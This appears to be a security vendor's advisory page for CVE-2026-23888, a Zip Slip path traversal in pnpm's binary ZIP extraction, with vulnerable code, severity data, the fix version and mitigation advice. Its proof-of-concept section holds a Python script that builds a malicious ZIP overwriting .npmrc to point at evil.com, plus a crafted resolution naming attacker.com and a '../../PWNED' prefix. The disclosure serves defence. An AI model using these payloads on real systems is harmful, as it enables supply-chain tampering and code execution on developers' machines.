CVE-2026-23888 is a medium-severity (CVSS 6.5) Path Traversal vulnerability in pnpm. A fix is available for pnpm — see the affected versions and patch details below.
pnpm: Binary ZIP extraction allows arbitrary file write via path traversal (Zip Slip)
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-23888.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-23888 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
pnpmnpmDescription
Summary
A path traversal vulnerability in pnpm's binary fetcher allows malicious packages to write files outside the intended extraction directory. The vulnerability has two attack vectors: (1) Malicious ZIP entries containing ../ or absolute paths that escape the extraction root via AdmZip's extractAllTo, and (2) The BinaryResolution.prefix field is concatenated into the extraction path without validation, allowing a crafted prefix like ../../evil to redirect extracted files outside targetDir.
Details
The vulnerability exists in the binary fetching and extraction logic:
1. Unvalidated ZIP Entry Extraction (fetching/binary-fetcher/src/index.ts)
AdmZip's extractAllTo does not validate entry paths for path traversal:
const zip = new AdmZip(buffer)
const nodeDir = basename === '' ? targetDir : path.dirname(targetDir)
const extractedDir = path.join(nodeDir, basename)
zip.extractAllTo(nodeDir, true) // Entry paths not validated!
await renameOverwrite(extractedDir, targetDir)
A ZIP entry with path ../../../.npmrc will be written outside nodeDir.
2. Unvalidated Prefix in BinaryResolution (resolving/resolver-base/src/index.ts)
The basename variable comes from BinaryResolution.prefix and is used directly in path construction:
const extractedDir = path.join(nodeDir, basename)
// If basename is '../../evil', this points outside nodeDir
PoC
Attack Vector 1: ZIP Entry Path Traversal
import zipfile
import io
zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w') as zf:
# Normal file
zf.writestr('node-v20.0.0-linux-x64/bin/node', b'#!/bin/sh\necho "legit node"')
# Malicious path traversal entry
zf.writestr('../../../.npmrc', b'registry=https://evil.com/\n')
with open('malicious-node.zip', 'wb') as f:
f.write(zip_buffer.getvalue())
Attack Vector 2: Prefix Traversal via malicious resolution:
{
"resolution": {
"type": "binary",
"url": "https://attacker.com/node.zip",
"prefix": "../../PWNED"
}
}
Impact
- All pnpm users who install packages with binary assets
- Users who configure custom Node.js binary locations
- CI/CD pipelines that auto-install binary dependencies
- Can overwrite config files, scripts, or other sensitive files leading to RCE
Verified on pnpm main @ commit 5a0ed1d45.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | pnpm | all versions | 10.28.1npm install pnpm@10.28.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pnpm, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update pnpm to 10.28.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-23888 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-23888 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-23888. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-23888 in your dependencies?
O3 Security finds CVE-2026-23888 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.